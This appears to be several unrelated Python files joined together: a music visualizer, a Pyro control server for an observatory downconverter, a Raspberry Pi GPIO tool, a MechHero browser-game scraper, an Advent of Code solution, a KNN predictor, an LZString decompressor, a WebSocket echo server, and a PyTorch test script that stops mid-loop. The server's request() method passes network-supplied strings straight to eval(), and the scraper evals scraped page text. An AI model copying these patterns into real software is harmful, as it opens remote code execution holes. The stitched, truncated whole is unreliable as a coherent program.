import numpy as np

def notes2amps(notes):
    """ Change blompfish notes into blurpish amps """
    # Get number of frames in the movie
    full_len = tick2frame(notes[-1][1] + notes[-1][2])

    # For now we want to create a 3-range visualizer thing
    lo_amp = np.zeros(full_len)
    mi_amp = np.zeros(full_len)
    hi_amp = np.zeros(full_len)

    for note in notes:
        if note[0] < 45:
            sta, end = get_note_framespan(note)
            lo_amp[sta : end] += funfunfun(note)
        elif note[0] < 65:
            sta, end = get_note_framespan(note)
            mi_amp[sta : end] += funfunfun(note)
        else:
            sta, end = get_note_framespan(note)
            hi_amp[sta : end] += funfunfun(note)

    return lo_amp, mi_amp, hi_amp

def chords2angle(chords):
    """ Prepare lenght of some kind of cunt-down-ish line """
    # Calculate total number of frames in this blurpf animation
    full_len = tick2frame(chords[-1][1] + chords[-1][2])
    full_len = int(full_len)

    # Prepare output
    chord_p = np.zeros(full_len)

    for chord in chords:
        sta, end = get_note_framespan(chord)
        # Make it countdown from one to whatever
        curv = funfunfun(chord)
        curv /= curv.max()

        chord_p[sta : end] = curv

    return chord_p

def scales2color_proportions(scales):
    """ Change scale notes into colormap dividing facotor """
    # Calculate total number of frames in this blurpf animation
    full_len = tick2frame(scales[-1][1] + scales[-1][2])
    full_len = int(full_len)

    # Prepare output (colormap proportions)
    c_proportions = np.zeros(full_len)

    for note in scales:
        sta, end = get_note_framespan(note)
        curv = grow_up(note)

        c_proportions[sta : end] = curv

    return c_proportions

def scales2colors(scales):
    """ Change scales into colormap ids """
    # Calculate total number of frames in this blurpf animation
    full_len = tick2frame(scales[-1][1] + scales[-1][2])
    full_len = int(full_len)

    # Prepare output (colormap ids)
    color_a = np.zeros(full_len)
    color_b = np.zeros(full_len)

    for it in range(len(scales)-1):
        sta, end = get_note_framespan(scales[it])
        color_a[sta : end] = scales[it][0] - 60
        color_b[sta : end] = scales[it+1][0] - 60

    color_a[end : ] = scales[-1][0] - 60
    color_b[end : ] = scales[-1][0] - 60

    return color_a, color_b

def scales2words(scales):
    """ Change blompf scale data into view-able information """
    # Calculate total number of frames in this blurpf animation
    full_len = tick2frame(scales[-1][1] + scales[-1][2])
    full_len = int(full_len)

    # Prepare lyrics
    scale_names = {
                60 : 'C',
                61 : 'Cis',
                62 : 'D',
                63 : 'Dis',
                64 : 'E',
                65 : 'F',
                66 : 'Fis',
                67 : 'G',
                68 : 'Gis',
                69 : 'A',
                70 : 'Ais',
                71 : 'H',
                72 : 'C'
                }

    # Pre-alocate
    scale_numbers = np.empty(full_len, dtype='|S10')

    for scale in scales:
        sta, end = get_note_framespan(scale)
        scale_numbers[sta : end] = scale_names[scale[0]]

    return scale_numbers

def notes2angles(notes):
    """ Create 2 dimensional parametrization from the blompf hand-notes"""
    lo, mi, hi = notes2amps(notes)

    # In the simplest variant you can just use one band:
    full = lo + mi + hi
    full = np.cumsum(full)

    # But multiple are prefered
    lom = lo + mi
    lom = np.cumsum(lom)

    mih = mi + hi
    mih = np.cumsum(mih)

    # Make normalization framecunt dependant
    # Make it 1 pi per thousand frames
    max_amp = np.pi * len(full) / 1000.0
    phi = max_amp * lom/lom[-1]
    the = max_amp * mih/mih[-1]

    return phi, the

def score2args(score):
    """ Take notes make args lol """
    # Deserialize blompf data
    notes   = score['hand']
    scales  = score['scale']
    chords  = score['chord']

    # Main movement generators
    phi, the = notes2angles(notes)

    # Print scales on the image for debug agility
    scale_numbers = scales2words(scales)

    # Prepare chord powers
    # TODO
    # color ids should change only when propotions reach 0/1
    color_a, color_b = scales2colors(scales)
    proportions = scales2color_proportions(scales)
    chord_powers = chords2angle(chords)

    # Per-frame arguments
    out = []
    for it in range(len(scale_numbers)):
        c_dict = {'phi'     : phi[it],
                  'theta'   : the[it],
                  'scale'   : scale_numbers[it],
                  'ch_pow'  : chord_powers[it],
                  'color_a' : color_a[it],
                  'color_b' : color_b[it],
                  'c_prop'  : proportions[it],
                  'tick'    : it}
        out.append(c_dict)

    return out

def grow_up(note):
    """ Change note into exp(x) going 0->1 on the full note-length """
    sta, end = get_note_framespan(note)
    lon = end - sta

    x = np.linspace(0, 1, lon)
    scale = 4
    y = (np.exp(x * scale) - 1) / (np.exp(scale) - 1 )

    return y

def fade_down(note):
    """ Gradually (linearerly) fade out on the lenght of note given """
    sta, end = get_note_framespan(note)
    lon = end - sta

    x = np.linspace(1, 0, lon)

    return x

def funfunfun(note):
    """ Change note into a 1d ADSR kind of function """
    sta, end = get_note_framespan(note)
    lon = end - sta

    # TODO Make the tail lenght dependant on the note volume !!!

    # Prepare x axis
    x = np.linspace(0, lon/16., lon)

    # Make y shape
    x = (x - 0.05) / 0.5
    out = 0.1 + 0.2 * np.exp(-x**2)**2

    # Velocity related renormalization
    if note[3] < 90:
        out *= 0.5

    # FIXME This is bad for long but loud notes!!!
    out *= 0.5

    return out

def get_note_framespan(note):
    """ Go from ticks to frames """
    # Ticks
    sta = tick2frame(note[1])
    end = tick2frame(note[2] + note[1])

    return int(sta), int(end)

def tick2frame(tick):
    """ Change time base """
    # Those are constants
    tps = 2**5
    fps = 30

    out = 1.0 * tick / tps
    out *= fps

    return int(out)


"""
WBDC2 server

When the 'wbdc2' configuration includes ROACH backends this should live
elsewhere.

Brief User Guide
================

Launching the Server
--------------------
Suppose that the WBDCserver class is instantiated in a program 'wbdc2_server.py'.
Then we start the manager and verify that it is running::
  kuiper@dto:/usr/local/.../ROACH-1/DTO$ python wbdc2_server.py &
  [2] 23013

Checking on the Servers
-----------------------
If the above gives an error or you need to see if servers are running::
  run this to try to find the Pyro server and task server::
  kuiper@dto:/usr/local/python/Observatory/BackEnds/ROACH-1/DTO$ pyro-nsc list
  Locator: searching Pyro Name Server...
  Locator: retry 1
  Locator: searching Pyro Name Server...
  Locator: retry 1
  Trying host dto
  Locator: contacting Pyro Name Server...  __name__ = 'wbdc2_server-'+gethostname()

  Trying host localhost
  Locator: contacting Pyro Name Server...
  There is a problem: could not find NameServer
If there was a Pyro nameserver but no task servers the response would be::
  kuiper@dto:/usr/local/python/Observatory/BackEnds/ROACH-1/DTO$ pyro-nsc list
  Locator: searching Pyro Name Server...
  NS is at 128.149.22.108 (dto.jpl.nasa.gov) port 9090
  :Default --> ( )

Starting the Pyro nameserver
----------------------------
If there is no Pyroserver running we start it::
  kuiper@dto:/usr/local/python/Observatory/BackEnds/ROACH-1/DTO$ pyro-ns &
  [1] 22076
  *** Pyro Name Server ***
  Name server listening on: ('0.0.0.0', 9090)
  Broadcast server listening on: ('255.255.255.255', 9090)
  URI is: PYRO://128.149.22.108:9090/8095166c563c1f89e2367ee923143d4e4b
  URI written to:
   /usr/local/python/Observatory/BackEnds/ROACH-1/DTO/Pyro_NS_URI
  Name Server started.
Now the manager task can be launched.

Connecting to the Server
------------------------
Pyro clients can connect to it to request services. Here's an example of using
the server.  If the server is behind a firewall, it requires that an ssh tunnel
has been opened through the firewall to the pyro server host.  Function
'device_server' handles that transparently but you'll need a passcode
generator::
  kuiper@kuiper:~/Downloads$ ipython
  ...
  In [1]: from support.pyro import get_device_server, cleanup_tunnels
  In [2]: mgr = get_device_server('WBDCserver-WBDC')

"""
import Pyro
from Pyro.errors import NamingError
import sys
import logging
import numpy

from MonitorControl.Configurations import station_configuration
from support.logs import init_logging, get_loglevel, set_loglevel

logging.basicConfig(level=logging.INFO)
logpath = "/tmp/" # for now
server_host = "dto.jpl.nasa.gov"

mylogger = logging.getLogger()
init_logging(mylogger,
             loglevel = logging.INFO,
             consolevel = logging.DEBUG,
             logname = logpath+"WBDC2_server.log")
mylogger.debug(" Handlers: %s", mylogger.handlers)

from support.logs import set_module_loggers
from support.pyro import launch_server
from support.process import is_running

class WBDCserver(Pyro.core.ObjBase):
  def __init__(self, observatory, equipment):
    Pyro.core.ObjBase.__init__(self)

    self.logger = logging.getLogger(__name__+".Manager")
    self.logger.debug("__init__: logger is %s",self.logger.name)
    self.observatory = observatory
    self.run = True

  def get_equipment(self, equipment):
    """
    Obtain and intrepret a description of hardware in the configuration
    """
    self.sample_clk = equipment['sampling_clock']
    self.logger.info("get_equipment: Sampler clocks: %s", self.sample_clk)

    self.IFsw = equipment['IF_switch']
    self.logger.info("get_equipment: IF switches: %s", self.IFsw)
    self.get_switch_states()

    self.roaches = equipment['Backend'].roach # dict with 2 roaches
    self.logger.info("get_equipment: roaches: %s",self.roaches)

    self.logger.debug("get_equipment: spectrometers: %s", self.spec)

  def set_WBDC(self,option):
    """
    Emulate old WBDC1 server
    """
    if option == 38:
      # get analog data
      monitor_data = {}
      for latchgroup in [1,2]:
        MD = self.analog_monitor.get_monitor_data(latchgroup)
        for key in MD.keys():
          monitor_data[key] = MD[key]
      return monitor_data
    elif option == 41:
      # set crossover switch
      return self.crossSwitch.set_state(crossover=True)
    elif option == 42:
      # unset crossover switch
      return self.crossSwitch.set_state(crossover=False)
    elif option == 43:
      # set polarizer to circular
      states = {}
      for ps in self.pol_sec.keys():
        states[ps] = self.pol_sec[ps].set_state(True)
      return states
    elif option == 44:
      # set polarizers to linear
      states = {}
      for ps in self.pol_sec.keys():
        states[ps] = self.pol_sec[ps].set_state(False)
      return states
    elif option == 45:
      # set IQ hybrids to IQ
      states = {}
      for dc in self.DC.keys():
        states[dc] = self.DC[dc].set_state(True)
      return states
    elif option == 46:
      # set IQ hybrids to UL
      states = {}
      for dc in self.DC.keys():
        states[dc] = self.DC[dc].set_state(False)
      return states
    else:
      return ("invalid option %d" % option)

  def sanitize(self, list_or_dict):
    """
    Pyro cannot return objects whose class is not known by the client.

    Any standard types of objects are returned as is.  A list or a dict,
    however, needs to be examined item by item to see if they are
    standard types.  Those that aren't need to be replaced with a string
    representation.
    """
    if type(list_or_dict) == str or \
       type(list_or_dict) == int or \
       type(list_or_dict) == float or \
       type(list_or_dict) == bool:
      return list_or_dict
    elif type(list_or_dict) == list:
      newlist = []
      for item in list_or_dict:
        newlist.append(self.sanitize(item))
      return newlist
    elif type(list_or_dict) == dict:
      newdict = {}
      for key in list_or_dict.keys():
        newdict[key] = self.sanitize(list_or_dict[key])
      return newdict
    else:
      return str(list_or_dict)

  def request(self,request):
    """
    Evaluate a statement in the local context

    Note that this only returns strings or standard types, not the user
    defined objects on the server side which they may represent.

    Examples (from the client side):
    >>> ks.request("self.spec[0].LO.get_p('frequency')")
    1300.0
    >>> ks.request("self.IFsw[3].state")
    8

    @param request : command to be evaluated
    @type  request : str

    @return: response
    """
    self.logger.debug("request: processing: %s", request)
    response = eval(request)
    self.logger.debug("request: response was: %s",response)
    if type(response) == str or \
       type(response) == int or \
       type(response) == float or \
       type(response) == bool or \
       type(response) == numpy.ndarray :
      self.logger.debug("request: returns native object")
      return response
    elif type(response) == list or type(response) == dict:
      Pyro_OK = self.sanitize(response)
      self.logger.debug("request: sanitized list or dict %s",Pyro_OK)
      return Pyro_OK
    else:
      self.logger.debug("request: returns str")
      return str(response)

  # ==================== Methods for managing the server ====================

  def running(self):
    """
    Report if the manager is running.  A return value of False should
    not be possible.
    """
    if self.run:
      return True
    else:
      return False

  def halt(self):
    """
    Command to halt the manager
    """
    self.logger.info("halt: Halting")
    self.run = False

if __name__ == "__main__":
  from socket import gethostname
  __name__ = 'wbdc2_server-'+gethostname()

  loggers = set_module_loggers(
    {'MonitorControl':                                'debug',
     'support':                                       'warning'})

  from optparse import OptionParser
  p = OptionParser()
  p.set_usage('kurtspec_server.py [options]')
  p.set_description(__doc__)

  p.add_option('-l', '--log_level',
               dest = 'loglevel',
               type = 'str',
               default = 'info',
               help = 'Logging level for main program and modules')
  opts, args = p.parse_args(sys.argv[1:])

  set_loglevel(mylogger, get_loglevel(opts.loglevel))

  # Set the module logger levels no lower than my level.
  for lgr in loggers.keys():
    if loggers[lgr].level < mylogger.level:
      loggers[lgr].setLevel(mylogger.level)
    mylogger.info("%s logger level is %s", lgr, loggers[lgr].level)

  # overrides pyro_support trace level
  Pyro.config.PYRO_TRACELEVEL = 3

  # Is there a Pyro server running?
  # if is_running("pyro-ns") == False:
  locator = Pyro.naming.NameServerLocator()
  mylogger.debug("Using locatorr %s", locator)
  try:
    ns = locator.getNS(host='dto.jpl.nasa.gov')
  except NamingError:
    mylogger.error(
      """Pyro nameserver task notfound. Is the terminal at least 85 chars wide?
      If pyro-ns is not running. Do 'pyro-ns &'""")
    raise RuntimeError("No Pyro nameserver")
  mylogger.info("Starting %s, please wait....", __name__)
  # Here is the hardware configuration
  observatory, equipment = station_configuration('wbdc2')
  telescope = equipment['Telescope']
  receiver = equipment['Receiver']

  m = WBDCserver(observatory, equipment)
  mylogger.info("%s started", __name__)
  launch_server(server_host, __name__, m)
  try:
    ns = locator.getNS(host='dto.jpl.nasa.gov')
  except NamingError:
    mylogger.error(
      """Pyro nameserver task notfound. Is the terminal at least 85 chars wide?
      If pyro-ns is not running. Do 'pyro-ns &'""")
    raise RuntimeError("No Pyro nameserver")
  ns.unregister(__name__)
  mylogger.info("%s finished", __name__)


#!/usr/bin/python3

from optparse import OptionParser
import sys
import RPi.GPIO as GPIO

def board_to_gpio(num):
    numbers = {
        3: 2,
        5: 3,
        7: 4,
        8: 14,
        10: 15,
        11: 17,
        12: 18,
        13: 27,
        15: 22,
        16: 23,
        18: 24,
        19: 10,
        21: 9,
        22: 25,
        23: 11,
        24: 8,
        26: 7,
        27: 0,
        28: 1,
        29: 5,
        31: 6,
        32: 12,
        33: 13,
        35: 19,
        36: 16,
        37: 26,
        38: 20,
        40: 21
    }
    return numbers.get(num, None)

available_board_pin = {3, 5, 7, 8, 10, 11, 12, 13, 15, 16, 18, 19, 21, 22, 23, 24, 26, 27, 28, 29, 31, 32, 33, 35, 36,
                       37}

def read_one():
    GPIO.setup(read_port, GPIO.IN)
    override_to_default(read_port)

    if GPIO.input(read_port):
        print("GPIO " + str(read_port) + " input: 1")
    else:
        print("GPIO " + str(read_port) + " input: 0")
    override_to_default(read_port)
    print('Notice: Reading this port\'s input now, so there will be no output at this moment...')
    print('This port has been overridden to its default status')
    print('Check the Readme_test_GPIO.md file for more details')

def override_to_default(port_num):
    if port_num in range(0, 9):
        GPIO.setup(port_num, GPIO.IN, pull_up_down=GPIO.PUD_UP)
    if port_num in range(9, 28):
        GPIO.setup(port_num, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
    return

def toggle_one():
    GPIO.setup(toggle_port, GPIO.IN)
    channel_is_on = GPIO.input(toggle_port)
    GPIO.setup(toggle_port, GPIO.OUT)
    if channel_is_on:
        GPIO.output(toggle_port, GPIO.LOW)
        print("This port was set to 1, now it should be set to 0...")
    else:
        GPIO.output(toggle_port, GPIO.HIGH)
        print("This port was set to 0, now it should be set to 1...")

def write_one():
    if write_value == 1:
        GPIO.setup(write_port, GPIO.OUT)
        GPIO.output(write_port, GPIO.HIGH)
        print("Turned on...")
    elif write_value == 0:
        GPIO.setup(write_port, GPIO.OUT)
        GPIO.output(write_port, GPIO.LOW)
        print("Turned off...")
    else:
        print("Invalid value to write")
        sys.exit()

def read_all():
    GPIO.setmode(GPIO.BCM)
    # Setup all GPIOs to input
    print("Use GPIO 2 to 27 as input and read GPIO input value...")
    for gpio in range(2, 28):
        GPIO.setup(gpio, GPIO.IN)
        print("GPIO no" + str(gpio) + ": " + str(GPIO.input(gpio)))
        override_to_default(gpio)

parser = OptionParser()
# Defines the options
parser.add_option("-g", action="store_true", dest="GPIO", default=False,
                  help="Interpret port number as BCM_GPIO rather than board pin numbers.")
parser.add_option("-r", "--read", type="int", dest="read",
                  help="Reads the specified port (port must be a valid port number)")
parser.add_option("-t", "--toggle", type="int", dest="toggle",
                  help="Toggles the specified port (port must be a valid port number)")
parser.add_option("-w", "--write", type="int", action="append", nargs=2, dest="write",
                  help="Toggles the specified port (port must be a valid port number, value must be 0 or 1)")
parser.add_option("-a", "--all", action="store_true", dest="all", default=False,
                  help="Reads and outputs all values")
(options, args) = parser.parse_args()

GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)

if options.GPIO:
    print("You are using BCM_GPIO numbering...")
    if isinstance(options.toggle, int):
        if options.toggle in range(0, 28):
            toggle_port = options.toggle
            toggle_one()
        else:
            print("Invalid BCM_GPIO port number")
            sys.exit()

    if isinstance(options.write, list):
        if (options.write[0])[0] in range(0, 28):
            write_port = (options.write[0])[0]
            write_value = (options.write[0])[1]
            write_one()
        else:
            print("Invalid BCM_GPIO port number")
            sys.exit()

    if isinstance(options.read, int):
        # if options.read in list(range(0, 2)) + list(range(4, 28)):
        if options.read in list(range(2, 28)):
            read_port = options.read
            read_one()
        else:
            print("Invalid BCM_GPIO port number")
            sys.exit()

else:
    print("You are using board pin numbering...")
    if isinstance(options.toggle, int):
        if options.toggle in available_board_pin:
            toggle_port = board_to_gpio(options.toggle)
            toggle_one()
        else:
            print("Invalid board pin number")
            sys.exit()

    if isinstance(options.write, list):
        if (options.write[0])[0] in available_board_pin:
            write_port = board_to_gpio((options.write[0])[0])
            write_value = (options.write[0])[1]
            write_one()
        else:
            print("Invalid board pin number")
            sys.exit()

    if isinstance(options.read, int):
        if options.read in available_board_pin:
            read_port = board_to_gpio(options.read)
            read_one()
        else:
            print("Invalid board pin number")
            sys.exit()

if options.all:
    read_all()
sys.exit()


'''
	City Module is logical representation of a city,
	it has info getting functions which will fetch
	the latest data and status of a city
'''
from mxproxy import mx
import LoginManager
from MapScanner import *
import Logger

dbfile='database/city.dict'

def get_all_cities_soup():
	slist=LoginManager.get_page_soup('http://s1.mechhero.com/City.aspx').select('#clist a')
	cids=[int(re.search(r'\d+',x['href']).group()) for x in slist]
	return [LoginManager.get_page_soup(f"http://s1.mechhero.com/City.aspx?cid={cid}",sleep=1) for cid in cids]

def refresh_cities_data():
	a=[city_dictifier(x) for x in get_all_cities_soup()]
	mx.jdump(a,dbfile)
	return a

def load_cities_data(freshcopy=0):
	if mx.fdelta('database/city.dict')>3600*2 or freshcopy:
		print('DEFAULTS:LOG: Fetching fresh copy of all city data')
		refresh_cities_data()
	return mx.jload(dbfile)

def city_dictifier(soup):
	'''take soup make few requests and return crucial city data'''
	cid=int(re.search(r'\d+',soup.select_one('.current')['href']).group())
	blist=get_buildings(soup)
	d={
		'cid':cid,
		'name':soup.select_one('#title').text,
		'coords':get_tile_coords(cid),
		'sector_root':get_root(cid),
		'harvestor_sid':get_sid(blist,'Recycling Workshop'),
		'exchangpost_sid':get_sid(blist,'Exchange Post')
		}
	# print(d)
	return d

def get_sid(blist,btitle,index=0):
	query=[b['sid'] for b in blist if btitle in b['title'] ]
	return  query if query else [-1]

def get_buildings(soup):
	'''
		arg:soup: parse relavant data from soup
		return: 	a [dict,...] where dict contains crucial info of each building in city
	'''
	buildings=[]
	for x in soup.select('area'):
		title=x.attrs.get('title','')
		sid=int(re.search(r'(?<=sid=)\d*',x['href']).group())
		bt=re.findall(r'(?<=bt=)\d*',x['href'])
		bt=int(bt[0]) if bt else None
		level=int(re.search(r'(?<=\()\d*(?=\))',title).group()) if title else -1
		bdict={'sid':sid,'bt':bt,'title':title,'level':level}
		# print(bdict)
		buildings.append(bdict)
	return buildings

def get_res_info(CITY):
	page=LoginManager.get_page_soup(f"http://s1.mechhero.com/City.aspx?cid={CITY['cid']}")
	ivals=re.search(r'(?<=initialize\().+(?=\))',str(page)).group().split(',')
	crystals=float(ivals[3])
	gas=float(ivals[6])
	cells=float(ivals[9])
	current=(crystals,gas,cells)
	capacity=(float(ivals[4]), float(ivals[7]) ,float(ivals[10]))
	deficit=[round(x,-3) for x in map(lambda x,y: x-y,capacity,current)]
	return {'current':current,'capacity':capacity,'deficit':deficit}

def get_transporters(CITY):
	u= LoginManager.get_page_soup(f'http://s1.mechhero.com/BuildingRouter.aspx?sid=35&bt=90&cid={CITY["cid"]}')
	u=u.select_one('.lpane > p:nth-child(2) > p:nth-child(1) > b:nth-child(2)').text
	transporter_count=int(re.search(r'\d*',u).group())
	# print(transporter_count)
	return transporter_count

def has_incoming_transfers(CITY):
	transferPage=LoginManager.get_page_soup(f'http://s1.mechhero.com/MissionList.aspx?tab=transfer&cid={CITY["cid"]}')
	return bool(transferPage.select('.th .orange'))

def get_all_harvestor_info(CITY):
	'''
		gets basic information about a city's harvesting.
	'''
	citypage= LoginManager.get_page_soup(f'http://s1.mechhero.com/City.aspx?cid={CITY["cid"]}')
	harvestTabPage= LoginManager.get_page_soup(f'http://s1.mechhero.com/MissionList.aspx?tab=harvest&cid={CITY["cid"]}')
	missionDataAJAX= LoginManager.get_page_soup(f'http://s1.mechhero.com/data.dt?provider=misv&cid={CITY["cid"]}&et= 33')

	city_hlevel= int(re.search(r'\d+',citypage.select_one('area[title*="Recycling Workshop"]').attrs['title']).group())
	city_hmissions= harvestTabPage.select('.content .th').__len__()
	hslots= city_hlevel - city_hmissions
	havailable= int(missionDataAJAX.text.split('~')[-1])

	enroutes= harvestTabPage.select('tr.th .green')
	enroutes=[x.parent.parent.find_next_sibling().select_one('td:nth-child(2)').text for x in enroutes]
	enroutes=[eval(re.search(r'\(\d.+\d\)',x).group()) for x in enroutes]

	Logger.info(f'HARVEST:INFO: city={CITY["name"]} hslots=[{hslots}] harvestors={havailable}')
	return {
		'hslots':hslots,
		'havailable':havailable,
		'enroutes':enroutes
		}

def get_military_enroutes(CITY):
	militaryTabPage=LoginManager.get_page_soup(f'http://s1.mechhero.com/MissionList.aspx?tab=military&cid={CITY["cid"]}')
	enroutes=militaryTabPage.select('tr.th .green')
	enroutes=[x.parent.parent.find_next_sibling().select_one('td:nth-child(2)').text for x in enroutes]
	enroutes=[eval(re.search(r'\(\d.+\d\)',x).group()) for x in enroutes]
	return enroutes

if __name__ == '__main__':
	LoginManager.login()
	# print(city_dictifier(LoginManager.get_page_soup('http://s1.mechhero.com/City.aspx?cid=142646')))

	if "test":
		load_cities_data(freshcopy=1)
		# get_all_cities_soup();

	# mx.fwrite('./apple.data','anshul')
	# mx.jdump(refresh_cities_data(),'apple.data')


# vi: set shiftwidth=4 tabstop=4 expandtab:
import datetime
import collections

def get_instructions_from_file(file_path="../../resources/year2015_day1_input.txt"):
    with open(file_path) as f:
        for l in f:
            return l.strip()

def get_final_floor(instructions):
    c = collections.Counter(instructions)
    return c["("] - c[")"]

def get_position_to_basement(instructions, basement=-1):
    floor = 0
    values = {"(": 1, ")": -1}
    for i, ins in enumerate(instructions, start=1):
        floor += values[ins]
        if floor == basement:
            return i
    assert False

def run_tests():
    assert get_final_floor("(())") == 0
    assert get_final_floor("()()") == 0
    assert get_final_floor("(((") == 3
    assert get_final_floor("())") == -1
    assert get_position_to_basement(")") == 1
    assert get_position_to_basement("()())") == 5

def get_solutions():
    instructions = get_instructions_from_file()
    print(get_final_floor(instructions) == 232)
    print(get_position_to_basement(instructions) == 1783)

if __name__ == "__main__":
    begin = datetime.datetime.now()
    run_tests()
    get_solutions()
    end = datetime.datetime.now()
    print(end - begin)


import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.pipeline import Pipeline
from sklearn.neighbors import KNeighborsClassifier
from sklearn.compose import ColumnTransformer
from sklearn.preprocessing import MinMaxScaler

import warnings
from sklearn.exceptions import DataConversionWarning
warnings.filterwarnings(action='ignore', category=DataConversionWarning)

def prediccionsatisfaccion(dic):
    lista = pd.DataFrame(data=dic)
    # REMOTO
    direccion='proyect/bd/data_60_try.csv'
    # LOCAL
    # direccion='proyect/proyect/bd/data_60_try.csv'
    basededatosmayores = pd.read_csv(direccion, index_col=0)
    basededatosmayores = basededatosmayores.drop(columns=['P767', 'P6081', 'P6083'])
    basededatosmayores = basededatosmayores[basededatosmayores['P1896'].le(10)]

    X = basededatosmayores.copy().drop(columns=['P1895','P6051','P5502'])
    y = basededatosmayores.copy().filter(items=['P1895'])
    test_size = 0.2
    random_state = 10
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=random_state)

    preprocessor = ColumnTransformer(
        [('age_', MinMaxScaler(),  ['P6040']),
        ('satisfaction_', MinMaxScaler(),  ['P1896', 'P1897', 'P1898', 'P1899', 'P3175', 'P1901', 'P1903', 'P1904', 'P1905', 'P1927'])
        ])
    preprocessor.fit(basededatosmayores)

    pipe = Pipeline([
        ('preprocessor', preprocessor),
        ('model', KNeighborsClassifier(
            n_neighbors=25,
            algorithm='auto',
            metric='manhattan',
            weights='distance'))
        ])

    pipe.fit(X_train, y_train)
    return pipe.predict(lista)[0]


from __builtin__ import unichr as chr
import math
import re

keyStrBase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
baseReverseDic = {};

class Object(object):
    def __init__(self, **kwargs):
        for k, v in kwargs.items():
            setattr(self, k, v)

def getBaseValue(alphabet, character):
    if alphabet not in baseReverseDic:
        baseReverseDic[alphabet] = {}
    for i in range(len(alphabet)):
        baseReverseDic[alphabet][alphabet[i]] = i
    return baseReverseDic[alphabet][character]

def _decompress(length, resetValue, getNextValue):
    dictionary = {}
    enlargeIn = 4
    dictSize = 4
    numBits = 3
    entry = ""
    result = []

    data = Object(
        val=getNextValue(0),
        position=resetValue,
        index=1
    )

    for i in range(3):
        dictionary[i] = i

    bits = 0
    maxpower = math.pow(2, 2)
    power = 1

    while power != maxpower:
        resb = data.val & data.position
        data.position >>= 1
        if data.position == 0:
            data.position = resetValue
            data.val = getNextValue(data.index)
            data.index += 1

        bits |= power if resb > 0 else 0
        power <<= 1;

    next = bits
    if next == 0:
        bits = 0
        maxpower = math.pow(2, 8)
        power = 1
        while power != maxpower:
            resb = data.val & data.position
            data.position >>= 1
            if data.position == 0:
                data.position = resetValue
                data.val = getNextValue(data.index)
                data.index += 1
            bits |= power if resb > 0 else 0
            power <<= 1
        c = chr(bits)
    elif next == 1:
        bits = 0
        maxpower = math.pow(2, 16)
        power = 1
        while power != maxpower:
            resb = data.val & data.position
            data.position >>= 1
            if data.position == 0:
                data.position = resetValue;
                data.val = getNextValue(data.index)
                data.index += 1
            bits |= power if resb > 0 else 0
            power <<= 1
        c = chr(bits)
    elif next == 2:
        return ""

    dictionary[3] = c
    w = c
    result.append(c)
    counter = 0
    while True:
        counter += 1
        if data.index > length:
            return ""

        bits = 0
        maxpower = math.pow(2, numBits)
        power = 1
        while power != maxpower:
            resb = data.val & data.position
            data.position >>= 1
            if data.position == 0:
                data.position = resetValue;
                data.val = getNextValue(data.index)
                data.index += 1
            bits |= power if resb > 0 else 0
            power <<= 1

        c = bits
        if c == 0:
            bits = 0
            maxpower = math.pow(2, 8)
            power = 1
            while power != maxpower:
                resb = data.val & data.position
                data.position >>= 1
                if data.position == 0:
                    data.position = resetValue
                    data.val = getNextValue(data.index)
                    data.index += 1
                bits |= power if resb > 0 else 0
                power <<= 1

            dictionary[dictSize] = chr(bits)
            dictSize += 1
            c = dictSize - 1
            enlargeIn -= 1
        elif c == 1:
            bits = 0
            maxpower = math.pow(2, 16)
            power = 1
            while power != maxpower:
                resb = data.val & data.position
                data.position >>= 1
                if data.position == 0:
                    data.position = resetValue;
                    data.val = getNextValue(data.index)
                    data.index += 1
                bits |= power if resb > 0 else 0
                power <<= 1
            dictionary[dictSize] = chr(bits)
            dictSize += 1
            c = dictSize - 1
            enlargeIn -= 1
        elif c == 2:
            return "".join(result)

        if enlargeIn == 0:
            enlargeIn = math.pow(2, numBits)
            numBits += 1

        if c in dictionary:
            entry = dictionary[c]
        else:
            if c == dictSize:
                entry = w + w[0]
            else:
                return None
        result.append(entry)

        # Add w+entry[0] to the dictionary.
        dictionary[dictSize] = w + entry[0]
        dictSize += 1
        enlargeIn -= 1

        w = entry
        if enlargeIn == 0:
            enlargeIn = math.pow(2, numBits)
            numBits += 1

def decompressFromBase64(compressed):
    if compressed is None:
        return ""
    if compressed == "":
        return None
    return _decompress(len(compressed), 32, lambda index: getBaseValue(keyStrBase64, compressed[index]))


import sys

from twisted.internet import reactor
from twisted.python import log
from twisted.web.server import Site
from twisted.web.static import File

from autobahn.websocket import WebSocketServerFactory, \
                               WebSocketServerProtocol, \
                               listenWS
from autobahn.flashpolicy import FlashPolicyFactory

class EchoServerProtocol(WebSocketServerProtocol):

   def onMessage(self, msg, binary):
      self.sendMessage(msg, binary)

if __name__ == '__main__':

   if len(sys.argv) > 1 and sys.argv[1] == 'debug':
      log.startLogging(sys.stdout)
      debug = True
   else:
      debug = False

   wsPort = 9000

   ## Our WebSocket server
   ##
   factory = WebSocketServerFactory("ws://localhost:%d" % wsPort,
                                    debug = debug,
                                    debugCodePaths = debug)

   factory.protocol = EchoServerProtocol
   factory.setProtocolOptions(allowHixie76 = True)
   listenWS(factory)

   ## We need to start a "Flash Policy Server" on TCP/843
   ## which Adobe Flash player will contact to check if
   ## it is allowed to connect to the WebSocket port.
   ##
   flashPolicyFactory = FlashPolicyFactory(wsPort)
   reactor.listenTCP(843, flashPolicyFactory)

   ## Static Web server
   ##
   webdir = File("./web")
   web = Site(webdir)
   reactor.listenTCP(8080, web)

   reactor.run()


import torch
import librosa
import numpy as np
import os
from os import path
from pathlib import Path
import glob
from effortless_config import Config
from init import init
import yaml
from fader_loader import spectral_features_spectro
from tqdm import tqdm

def test(loader, config):
    model_path = []
    print("YO")
    for (path, dirnames, filenames) in os.walk(config["data"]["trained_models_path"]):
        model_path.extend(os.path.join(path, name) for name in filenames)
    scaler = torch.nn.Conv2d(1, 1, (3, 3), stride=2).to(config["train"]["device"])
    scaler.weight.data.fill_(-1)
    scaler.weight.data[0, 0, 1, 1] = 1
    for m in model_path:
        print("TESTING")
        print(m)
        with torch.no_grad():
            model = torch.load(m, map_location=config["train"]["device"])
            model.eval()
            recon_feats = []
            target_feats = []
            mel = []
            m_stft = []
            jnd = []
            mel_cycle = []
            for batch_x, batch_y in tqdm(iter(loader), total=5000):
                # Take the input & attributes
                batch_x = batch_x.float().to(config["train"]["device"], non_blocking=True)
